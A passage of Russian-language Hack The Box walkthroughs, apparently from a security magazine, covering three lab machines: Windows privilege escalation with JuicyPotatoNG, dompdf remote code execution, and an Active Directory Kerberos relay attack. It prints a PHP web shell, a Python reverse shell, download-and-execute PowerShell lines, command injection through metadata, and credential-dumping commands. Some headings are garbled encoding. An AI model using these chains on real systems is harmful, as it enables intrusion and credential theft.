Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же тип тун неля — .socks

.\c.exe client 10.10.14.51:4321 R:socks 

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Ло ги сер вера chisel

Для тун нелиро вания тра фика нас тро им proxychains, для это го в фай ле кон- 
фигура ций  сде лаем такую запись:/etc/proxychains.conf

socks5 127.0.0.1 1080 

Ска ниру ем пор ты 80 и 8000 и убеж даем ся, что за них отве чают раз ные
веб-сер веры.

 proxychains -q nmap -p80,8000 -A -Pn 127.0.0.1 

Ре зуль тат ска ниро вания пор тов

Так как мы в груп пе раз работ чиков, мы можем записы вать в каталог сай та.
Записы ваем любой ASPX-шелл (в интерне те их мно го) и заходим через бра- 
узер.

wget http://10.10.14.51/shell.aspx -OutFile C:\inetpub\development\s.
aspx

Заг рузка ASPX-шел ла

Ре зуль тат выпол нения коман ды whoami

SeImpersonatePrivilege
Так как мы работа ем от име ни веб-сер вера IIS, у нас акти виро вана при виле- 
гия . Как говорит Microsoft:SeImpersonatePrivilege

«
»

Ïðèñ âîåíèå ïîëü çîâàòå ëþ ïðà âà «Îëè öåò âîðÿòü êëè åíòà ïîñ ëå ïðî- 
âåð êè ïîä ëèííîñ òè» ðàç ðåøà åò ïðîã ðàììàì, çàïóùåí íûì îò èìå íè
äàí íîãî ïîëü çîâàòå ëÿ, îëè öåò âîðÿòü êëè åíòà. Èñïîëü çîâàíèå äàí íîãî
ïàðàìåò ðà ïðå äîò âðà ùàåò îëè öåò âîðåíèå íåàâ òîðèçî âàí íûìè ñåð- 
âåðàìè êëè åíòîâ, ïîä êëþ ÷àþùèõ ñÿ ê ýòèì ñåð âåðàì ñ ïîìîùüþ ïðî- 
öåäóð RPC èëè èìå íîâàí íûõ êàíàëîâ.

Де ло в том, что мы можем под нять свои пра ва до , исполь зуя один

из экс пло итов семей ства Potato. Я взял пос ледний — .

Запус каем прог рамму, а в качес тве целево го про цес са выбира ем PowerShell,
запус кающий наг рузку с нашего хос та.

SYSTEM
JuicyPotatoNG

C:\Users\Public\Downloads\jp.exe -t * -p "C:\Windows\System32\
WindowsPowerShell\v1.0\powershell.exe" -a "-c IEX(New-ObjectNet.
WebClient).DownloadString('http://10.10.14.51:88/r3.ps1')"

Сес сии Villain

Ви дим, что в Villain появи лась новая сес сия в кон тек сте сис темы.

Флаг рута

Ма шина зах вачена!

https://github.com/t3l3machus/Villain
https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1
https://github.com/jpillora/chisel
https://github.com/antonioCoco/JuicyPotatoNG


HTB

INTERFACE

ЭКСПЛУАТИРУЕМ БАГ В DOMPDF
И ИНЖЕКТИМ КОМАНДЫ 

В СКРИПТ НА BASH

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу нес коль ко спо- 
собов, как искать скры тый кон тент на сай те,
затем мы про экс плу ати руем уяз вимость
в ути лите dompdf и выпол ним хит рую инъ- 
екцию коман ды ОС в скрипт, что бы
повысить при виле гии.

На шей целью будет получе ние рута на машине Interface с пло щад ки 
. Уро вень слож ности отме чен как сред ний.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.200    interface.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли все го два откры тых пор та:
22 — служ ба OpenSSH 7.6p1;•
80 — веб-сер вер Nginx 1.14.0.•

По это му сра зу обсле дуем веб-сер вер и поищем потен циаль ные точ ки вхо да.

Глав ная стра ница сай та interface.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
Прос матри вая зап рос в , находим новый под домен.Burp History

Зап рос в Burp History

До бав ляем най ден ный домен в файл . Но при попыт ке обра тить ся
к нему получа ем толь ко сооб щение о том, что файл не най ден.

/etc/hosts

10.10.11.200 interface.htb prd.m.rendering-api.interface.htb 

Ре зуль тат выпол нения зап роса

Поп робу ем поис кать скры тые фай лы и катало ги. Я дол гое вре мя рекомен- 
довал для это го ути литу , но теперь перешел на .ffuf feroxbuster

При запус ке исполь зуем сле дующие парамет ры:
 — URL;• -u

 — сло варь;• -w

 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

 1  256 
feroxbuster -u http://prd.m.rendering-api.interface.htb/ -w 
directory_2.3_medium_lowercase.txt -d -t

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Наш ли каталог , но поиск внут ри него ничего не дал. Тог да я решил
пов торить ска ниро вание, но уже с помощью : он пре дос тавля- 

ет боль ше дан ных для выбора нуж ных стра ниц.

vendor
Burp Intruder

Burp History — вклад ка Positions

Burp History — резуль тат ска ниро вания катало гов

В ито ге находим каталог , который отве чает кодом 404, но содер жимое

отве та не такое же, как при зап росе дирек тории . Пос коль ку мы име- 

ем дело с API, выпол няем новое ска ниро вание не толь ко методом GET, но и
методом POST. Вто рой как раз и дал резуль тат.

/api
/vendor

Burp History — вклад ка Positions

Burp History — резуль тат ска ниро вания API

Так обна ружим одну конеч ную точ ку API — , которая сооб щает
о том, что нуж но пре дос тавить парамет ры в фор мате JSON. Теперь вер немся
к катало гу  и в нем тоже поищем под катало ги.

/api/html2pdf

/vendor

Burp History — вклад ка Positions

Burp History — резуль тат ска ниро вания катало гов

На ходим каталог . Если поис кать это сло во в Google, то най дем
репози торий PHP-биб лиоте ки , кон верти рующей стра ницы HTML
в PDF.

dompdf
dompdf

ÒÎ×ÊÀ ÎÏÎÐÛ
Пер вым делом я решил поис кать экс пло иты для этой биб лиоте ки. В ито ге
уда лось най ти  и  об экс плу ата ции. Из докумен тации я
узнал о сущес тво вании парамет ра , в котором переда ется кон верти- 

руемый HTML-код.

ре пози торий от чет
html

{ "html": "test" }

Зап рос на кон верти рова ние фай ла

В отве те мы получа ем документ PDF. Теперь давай пос мотрим, как работа ет
уяз вимость. На вхо де у dompdf — документ HTML, в котором могут содер- 
жать ся сти ли CSS. Так же воз можно заг рузить шриф ты и вклю чить ссыл ку
на файл шриф та. Тут-то и кро ется уяз вимость.

Биб лиоте ка dompdf не толь ко заг рузит внеш нюю таб лицу сти лей через
HTML, но и сох ранит файл шриф та в локаль ном кеше, добавит его в каталог
шриф тов на сер вере и сош лется на его мес тополо жение из dompdf. Таким
обра зом вмес то шриф та мож но заг рузить код на PHP. А затем сос лать ся
на него и выпол нить.

Соз даем на сво ем сер вере фай лы CSS и PHP:

 // exploit.css
src:url('http://10.10.14.4/exploit_font.php');

// exploit_font.php 
  <?php system($_GET['cmd']); ?>

И отправ ляем в кон вертер код на HTML со ссыл кой на наш CSS.

{ "html": "<link rel=stylesheet href='http://10.10.14.4/exploit.css'>
" }

В логах веб-сер вера видим, как про исхо дит обра щение и к CSS, и к PHP.
Теперь нуж но вычис лить хеш MD5 от ссыл ки на файл PHP и вста вить его вот
в такой путь:

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/
fonts/exploitfont_normal_2d9cfd7f66e8bdf74a136a88c4e9fe3a.php 

   | echo -n 'http://10.10.14.4/exploit_font.php' md5sum

По луче ние хеша MD5

Вы пол нение коман ды id

Ко ман да выпол нена, а зна чит, мож но бро сить реверс-шелл на лис тенер
.pwncat-cs

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4321));os.dup2(s.
fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; 
pty.spawn("sh")'

Сес сия поль зовате ля www-data

Вот мы и про ник ли в сис тему. Осматри ваем катало ги дру гих поль зовате лей.
В катало ге  находим флаг поль зовате ля и, пос коль ку мы можем читать
фай лы, без тру да забира ем его.

dev

Со дер жимое домаш него катало га поль зовате ля dev

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Для прод вижения нам нуж но соб рать информа цию. Я, как обыч но, буду
исполь зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и нач нем ска- 
ниро вание. Изу чив получен ный отчет, я заин тересо вал ся исполня емым фай- 
лом , который запус кает ся с при виле гиями

рута.

/usr/local/sbin/cleancache.sh

Най ден ные Bash-скрип ты

Со дер жимое фай ла cleancache.sh

Этот скрипт про веря ет фай лы в катало ге . Он исполь зует прог рамму

exiftool, что бы получить поле  из метадан ных изоб ражения. Если
извле чен ная из поля стро ка отли чает ся от , файл будет уда лен.

/tmp
Producer

dompdf
Здесь сла бое мес то в самом спо собе исполь зования перемен ной в опе- 

рато ре . Пос коль ку на ее зна чение мы можем вли ять, скрипт уяз вим к внед- 

рению команд.

if

Про верим с помощью , запус кает ся ли этот скрипт.pspy64

pspy64 -d /usr/local/sbin/ 

Ло ги pspy64

Скрипт запус кает ся, поэто му мы можем перей ти к экс плу ата ции уяз вимос ти.
Что бы добить ся выпол нения коман ды в , мож но исполь зовать конс трук цию

. Соз дадим скрипт , который будет наз- 

начать бит SUID фай лу коман дной обо лоч ки .

if
qwe[$(command>&2)] getroot.sh

/bin/bash
Те перь помес тим вызов нашего скрип та в эту конс трук цию и запишем

в метадан ные фай ла с помощью .exiftool

  echo 'chmod u+s /bin/bash' > /dev/shm/getroot.sh 
chmod +x /dev/shm/getroot.sh 
touch getroot ; exiftool -Producer='qwe[$(/dev/shm/getroot.sh)]' 
getroot 

Соз дание фай ла и запись наг рузки

Че рез некото рое вре мя про веря ем пра ва на файл  и видим прис- 
воен ный S-бит.

/bin/bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/epi052/feroxbuster
https://github.com/dompdf/dompdf
https://github.com/positive-security/dompdf-rce/tree/main/exploit
https://snyk.io/blog/security-alert-php-pdf-library-dompdf-rce/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy
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ABSOLUTE

АТАКУЕМ ACTIVE DIRECTORY 
С ПОВЫШЕНИЕМ ПРИВИЛЕГИЙ

ЧЕРЕЗ KRBRELAY

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу тебе мно жес тво
при емов работы с Kerberos, начиная ска- 
ниро вани ем поль зовате лей и закан чивая
аутен тифика цией для дос тупа к раз ным
служ бам. Завер шим про хож дение при- 
мене нием извес тной тех ники KrbRelayUp.

На ша цель — зах ват рута на тре ниро воч ной машине Absolute с пло щад ки
. Слож ность про хож дения оце нена как «безум ная». Тем инте рес- 

нее оно будет!
Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.181    absolute.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер обна ружил мно го откры тых пор тов, что типич но для сер веров
с Windows:

53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC), исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

Ни одна служ ба не поз волила прой ти аутен тифика цию от име ни поль зовате ля
, поэто му идем смот реть, что нам покажет веб-сер вер.guest

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те ничего инте рес ного нет, но всег да сто ит изу чать метадан ные всех
при ложен ных фай лов. На сай те нам дос тупны толь ко кар тинки, берем любую
из них (мне попалась под руку ), ска чива ем и про веря ем метадан- 
ные.

hero_5.jpg

exiftool hero_5.jpg 

Ме тадан ные изоб ражения

В поле авто ра явно имя поль зовате ля! Ска чива ем все дос тупные кар тинки
и извле каем отту да име на. Инте рес но, что они все раз ные.

exiftool hero_*.jpg | grep Author 

По лучен ные име на поль зовате лей

Так как на сер вере активна служ ба Kerberos, мы можем переб рать име на
поль зовате лей. Kerberos име ет три раз ных вари анта отве та в слу чае невер- 
ной аутен тифика ции:

учет ные дан ные невер ны;•
нет такого поль зовате ля;•
пред варитель ная аутен тифика ция не тре бует ся.•

При этом для каж дого поль зовате ля у нас есть имя и фамилия, поэто му я
накидал прос той скрипт, что бы сге нери ровать все воз можные вари анты имен
учет ных записей из пред став ленных пар.

     
  

names = ["James Roberts", "Michael Chaffrey", "Donald Klay", "Sarah 
Osvald", "Jeffer Robinson", "Nicole Smith"]

   list = ["Administrator", "Guest"]
   for name in names:

     n1, n2 = name.split(' ')
  list.append(n1)
  list.append(n1+n2)
  list.append(n1+"."+n2)
  list.append(n1+n2[0])
  list.append(n1+"."+n2[0])
  list.append(n2[0]+n1)
  list.append(n2[0]+"."+n1)
  list.append(n2)
  list.append(n2+n1)
  list.append(n2+"."+n1)
  list.append(n2+n1[0])
  list.append(n2+"."+n1[0])
  list.append(n1[0]+n2)
  list.append(n1[0]+"."+n2)

   for n in list:
  print(n)

А теперь выпол няем перебор имен поль зовате лей с помощью ути литы
.kerbrute

./kerbrute_linux_amd64 userenum --dc absolute.htb  -d absolute.htb 
test_users.txt 

Ре зуль тат перебо ра

По луча ем спи сок из семи сущес тву ющих учет ных записей. Я уже говорил, что
есть вари ант, при котором для учет ной записи не тре бует ся пред варитель ная
аутен тифика ция. Давай прос каниру ем наших поль зовате лей с при мене нием
тех ники ASRep Roasting. Она поз воля ет получить поль зователь ский билет,
из которо го перебо ром мож но извлечь пароль поль зовате ля. Выпол ним дан- 
ную ата ку с помощью скрип та GetNPUsers из набора .impacket

 impacket-GetNPUsers absolute.htb/ -no-pass -usersfile users.txt

Ре зуль тат ASRep Roasting

Что бы переб рать хеш с помощью , нуж но знать режим перебо ра. Его
мож но най ти в справ ке hashcat.

hashcat

 |    hashcat --example grep 'krb5asrep' -A2 -B12

Справ ка hashcat

Те перь ука зыва ем режим 18200 и переби раем получен ный хеш.

 0 hashcat -a -m 18200 klay_hash.krb5asrep rockyou.txt 

Ре зуль тат взло ма хеша

И получа ем пароль поль зовате ля D.Klay.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ropnop/kerbrute
https://github.com/SecureAuthCorp/impacket


HTB ABSOLUTE
АТАКУЕМ ACTIVE DIRECTORY 

С ПОВЫШЕНИЕМ ПРИВИЛЕГИЙ ЧЕРЕЗ
KRBRELAY

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü svc_smb
Про верим получен ные учет ные дан ные, попытав шись под клю чить ся к служ бе
SMB с помощью уни вер саль ного средс тва .CrackMapExec

crackmapexec smb 10.10.11.181 -u D.Klay -p Darkmoonsky248girl 

Ре зуль тат под клю чения к служ бе SMB

Ни чего не выш ло, так как не работа ет NTLM-аутен тифика ция. Поэто му
исполь зуем аутен тифика цию Kerberos, для чего выписы ваем тикет с помощью
скрип та getTGT из набора . Не забыва ем выс тавить оди нако вое

вре мя на кли енте и сер вере. Что бы не делать это вруч ную, мож но авто мати- 
чес ки син хро низи ровать вре мя с помощью .

impacket

net time

sudo timedatectl set-ntp false
net  sudo time set -S 10.10.11.181 

impacket-getTGT 'absolute.htb/D.Klay@absolute.htb:Darkmoonsky248girl'

По луче ние тикета поль зовате ля D.Klay

А теперь пов торим под клю чение к SMB с аутен тифика цией Kerberos.

export KRB5CCNAME=D.Klay@absolute.htb.ccache 
 cme smb 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.

absolute.htb 

Ре зуль тат под клю чения к служ бе SMB

И сно ва неуда ча, хотя в отве те видим, что эта служ ба не про писа на в билете.
Про буем под клю чить ся к LDAP.

 cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.
absolute.htb 

Ре зуль тат под клю чения к служ бе SMB

Под клю чение успешное, и мы можем работать с LDAP. Пер вым делом зап- 
рашива ем всех поль зовате лей. Это мож но сде лать, ука зав флаг .--users

 cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.
absolute.htb --users

Поль зовате ли домена

В опи сании поль зовате ля , ско рее все го, записан пароль. Выписы- 

ваем билет для этой учет ки и про буем авто ризо вать ся на SMB.

svc_smb

impacket-getTGT 'absolute.htb/svc_smb@absolute.htb:
AbsoluteSMBService123!'
export KRB5CCNAME=svc_smb@absolute.htb.ccache 

 impacket-smbclient svc_smb@dc.absolute.htb -k -no-pass
shares 

Об щие катало ги SMB

Мы получи ли дос туп к обще му ресур су домена.

Ïîëüçîâàòåëü m.lovegod
Прос матри ваем дос тупный каталог  и находим там два фай ла.Shared

Со дер жимое ресур са Shared

Нам инте ресен толь ко исполня емый файл, поэто му ска чива ем его коман дой
. Как обыч но, я прос то запус каю файл в вир туал ке, что бы пос мотреть

хотя бы его вывод. Пос ле запус ка никаких сооб щений не появи лось, но по
сооб щению фай рво ла ста ло понят но, что файл ломит ся в сеть. Откры ваем

 и заново запус каем файл.

get

Wireshark

Пе рех вачен ные сетевые пакеты

Пер вым делом прог рамма пыта ется резол вить имя кон трол лера домена.
Добавим нашу запись из фай ла  в ана логич ный файл на Windows

по такому пути:

/etc/hosts

C:\Windows\System32\drivers\etc\hosts 

А в нас трой ках сетево го адап тера (тип мар шру тиза ции в нас трой ках вир- 
туаль ной машины дол жен быть NAT) ука зыва ем в качес тве DNS-сер вера уда- 
лен ную машину. При пов торном запус ке прог раммы видим под клю чение
к сер веру LDAP с аутен тифика цией.

Пе рех вачен ные сетевые пакеты

От кры ваем пакет, где переда ются учет ные дан ные, и получа ем еще одно го
поль зовате ля.

Учет ные дан ные поль зовате ля m.lovegod

По луча ем билет для служ бы LDAP и про веря ем под клю чение.

impacket-getTGT 'absolute.htb/m.lovegod@absolute.htb:
AbsoluteLDAP2022!'
export KRB5CCNAME=m.lovegod@absolute.htb.ccache 

 cme ldap 10.10.11.181 -u m.lovegod -d absolute.htb -k --kdcHost dc.
absolute.htb 

Про вер ка учет ных дан ных поль зовате ля

Ïîëüçîâàòåëü winrm_user
Итак, мы упер лись в тупик, но име ем дос туп к LDAP, поэто му можем исполь- 
зовать .BloodHound

Справка: BloodHound
Ути лита  исполь зует теорию гра фов для выяв ления скры тых
и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож- 
но исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.
Помимо самой ути литы, которая поз воля ет прос матри вать граф, сущес тву ет
часть, заг ружа емая на уда лен ный хост для сбо ра информа ции. Она быва ет
в вер сиях для Windows — на PowerShell или C# и для Linux — на Python.

BloodHound

Спер ва соберем информа цию с целево го хос та, бла го это не зай мет мно го
вре мени. В парамет рах ука зыва ем учет ные дан ные для под клю чения, адрес
хос та и тип собира емой информа ции — всю (параметр , зна чение ).-c All

 All   
 

python3 bloodhound.py -c -u m.lovegod -k -no-pass -d absolute.
htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip

Ло ги BloodHound

В логах видим, сколь ко доменов, лесов и компь юте ров най дено, сколь ко
поль зовате лей и групп получе но. В резуль тате работы BloodHound в текущей
дирек тории появит ся нес коль ко фай лов. Для работы с ними нам нуж но уста- 
новить СУБД Neo4j и гра фичес кую оснас тку BloodHound для пос тро ения гра- 
фа свя зей.

apt sudo install neo4j bloodhound 

За пус тим уста нов ленную СУБД:

sudo neo4j console 

Пос ле того как появит ся сооб щение об успешном стар те, зай дем
на  через бра узер. Нам сра зу пред ложат уста новить пароль.

Сде лаем это, запус тим BloodHound (коман да  в коман дной стро- 

ке) и авто ризу емся с толь ко что уста нов ленным паролем. Откро ется пус тое
окош ко — закиды ваем в него получен ные в резуль тате работы 

 фай лы. А затем в поле поис ка ука зыва ем груп пу домен ных поль- 

зовате лей. BloodHound отоб разит всех поль зовате лей. Най дем сре ди них
под кон троль ных нам и пометим как Mark User as Owned. На их икон ках дол жен
будет появить ся череп.

localhost:7474
bloodhound

bloodhound-
python

По мечен ные поль зовате ли

За тем прой дем в гра фу ана лити ки и поп росим BloodHound най ти путь прод- 
вижения к дру гим поль зовате лям от уже взло ман ных (которых мы толь ко
помети ли) — опция Shortest Path from Owned Principals. Так мы получим мар- 
шрут дви жения от поль зовате ля m.lovegod.

Мар шрут дви жения к поль зовате лю WINRM_USER

Мы узна ли, что под кон троль ный поль зователь m.lovegod — вла делец груп пы
, чле ны которой, в свою оче редь, име ют пол ные пра ва

на учет ную запись поль зовате ля . То есть ата ка будет раз делена
на два эта па: добав ление поль зовате ля в груп пу и получе ние учет ных дан ных
поль зовате ля.

NETWORK AUDIT
WINRM_USER

Ýêñïëóàòàöèÿ ïðàâà Owns íà ãðóïïó ïîëüçîâàòåëåé
Так как дос туп к целево му поль зовате лю име ют толь ко чле ны груп пы 

, добавим себя в нее. Для это го нам пот ребу ются скрип ты 

и . Импорти руем их на сво ей машине с Windows.

NETWORK
AUDIT PowerView

ADModule

. .\PowerView.ps1
iex (new-Object Net.WebClient).DownloadString('https://raw.
githubusercontent.com/samratashok/ADModule/master/
Import-ActiveDirectory.ps1')
Import-ActiveDirectory

А теперь добав ляем поль зовате ля m.lovegod в целевую груп пу.

$SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" 
-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(
'ABSOLUTE.HTB\m.lovegod', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'Network Audit'
-Rights all -DomainController dc.absolute.htb -principalidentity 'm.

lovegod'
Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf 
'Network Audit' -Credential $Cred -Server dc.absolute.htb

Поль зователь добав лен в груп пу, перехо дим ко вто рому эта пу.

Ýêñïëóàòàöèÿ ïðàâà GenericWrite íà ó÷åòíóþ çàïèñü ïîëüçîâàòåëÿ
Ког да мы име ем пра во  на учет ную запись поль зовате ля, мы

можем манипу лиро вать его дан ными для аутен тифика ции, к при меру сер- 
тифика том. С помощью скрип та  генери руем и добав ляем поль- 

зовате лю сер тификат.

GenericWrite

pywhisker

     
  

python3 pywhisker.py -d absolute.htb -u 'm.lovegod' -k --no-pass -t
'winrm_user' --action 'add'

Ло ги pywhisker

А теперь по сер тифика ту получа ем билет поль зовате ля с помощью
.PKINITtools

 
 

python3 ../PKINITtools/gettgtpkinit.py 'absolute.htb/winrm_user'
-cert-pfx HDkBijzZ.pfx -pfx-pass '5HeYwjBLZtZBnbiOPONR' winrm_user.
ccache 

По луче ние Kerberos-тикета

До бав ляем целевой хост в файл  для авто риза ции

с помощью Kerberos.

/etc/krb5.conf

[libdefaults] 
      default_realm = ABSOLUTE.HTB 

[realms] 
       ABSOLUTE.HTB = {

              kdc = DC.ABSOLUTE.HTB 
              admin_server = ABSOLUTE.HTB 
      }

Эк спор тиру ем тикет и авто ризу емся по WinRM.

export KRB5CCNAME=winrm_user.ccache 
evil-winrm -i DC.ABSOLUTE.HTB -r ABSOLUTE.HTB 

Флаг поль зовате ля

На конец мы получи ли дос туп к хос ту. Перехо дим к повыше нию при виле гий.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь приш ло вре мя про вес ти раз ведку в локаль ной сис теме и соб рать всю
самую инте рес ную информа цию. Для прос мотра сис темных кон фигура ций я
исполь зую тул зу  с фла гом . Это помог ло уста новить,

что под пись LDAP необя затель на.

Seatbelt -group=system

Нас трой ки под писи

Тут приш ла идея выпол нить ата ку рет ран сля ции Kerberos, что при ведет
к повыше нию при виле гий на хос те. Суть рет ран сля ции учет ных дан ных в том,
что ата кующий может зас тавить поль зовате ля прой ти аутен тифика цию
на одном ресур се и исполь зовать эту информа цию для аутен тифика ции
на дру гом, не свя зан ном ресур се. Это поз волит получить дос туп от име ни
поль зовате ля.

Для этой ата ки пот ребу ется так же соз дать учет ную запись машины. Ход
ата ки такой:
1. Соз даем учет ную запись компь юте ра.
2. Вы зыва ем аутен тифика цию на локаль ной машине и рет ран сли руем ее

на LDAP.
3. Это дает пра во добавить RBCD и получить TGS-билет для локаль ной

машины.
4. С получен ным TGS соз даем служ бу на локаль ной машине.

По умол чанию каж дый поль зователь может соз дать до десяти учет ных
записей компь юте ров. Про верим это зна чение:

ms-DS-MachineAccountQuota 

Од нако на этой машине нас ждет неуда ча: мы не можем соз давать учет ные
записи компь юте ров.

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties
ms-DS-MachineAccountQuota

Про вер ка зна чения ms-DS-MachineAccountQuota

В этом слу чае при дет ся исполь зовать нес коль ко дру гой сце нарий:
1. Вы зыва ем аутен тифика цию на локаль ной машине и рет ран сли руем ее

на LDAP.
2. До бав ляем для учет ной записи локаль ной машины теневые учет ные дан- 

ные (атри бут ).msDS-KeyCredentialLink

3. Ис поль зуя теневые учет ные дан ные, получа ем TGT-билет для учет ной
записи локаль ной машины, что дает воз можность получить TGS.

4. С получен ным TGS соз даем служ бу на локаль ной машине.

На треть ем шаге мож но по TGT получить NTLM-хеш учет ной записи локаль ной
машины и сдам пить все учет ные дан ные с сис темы. Так и пос тупим, но спер ва
узна ем вер сию исполь зуемой опе раци онной сис темы:

Get-ComputerInfo

Ин форма ция о сис теме

Это Windows Server 2019 Standard 1809, поэто му исполь зуем вот такой CLSID:

90f18417-f0f1-484e-9d3c-59dceee5dbd8 

Про водить ата ку будем с помощью инс тру мен та , но, пос коль ку

запус кать его нуж но от име ни поль зовате ля  с дос тупом к LDAP,

так же исполь зуем .

KrbRelay

m.lovegod
RunasCs

RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "C:\
Users\winrm_user\Documents\KrbRelay.exe -spn ldap/dc.absolute.htb 
-clsid {90f18417-f0f1-484e-9d3c-59dceee5dbd8} -shadowcred"

Вы пол нение рет ран сля ции LDAP

Те перь, исполь зуя добав ленный сер тификат и пароль, получим TGT и NTLM-
хеш пароля учет ной записи с помощью .Rubeus

Rubeus.exe asktgt /user:DC$ /certificate:MIIJqAIBAz...66VAgIH0A== /
password:"53d64ff7-3986-4609-97e6-5035c79fff8f" /getcredentials /show

NTLM-хеш пароля учет ной записи машины

С получен ным хешем выпол няем реп ликацию всех учет ных дан ных домена.

impacket-secretsdump -hashes :A7864AB463177ACB9AEC553F18F42577 
'dc$@absolute.htb'

Учет ные дан ные домена

С учет кой адми нис тра тора под клю чаем ся к хос ту и забира ем флаг.

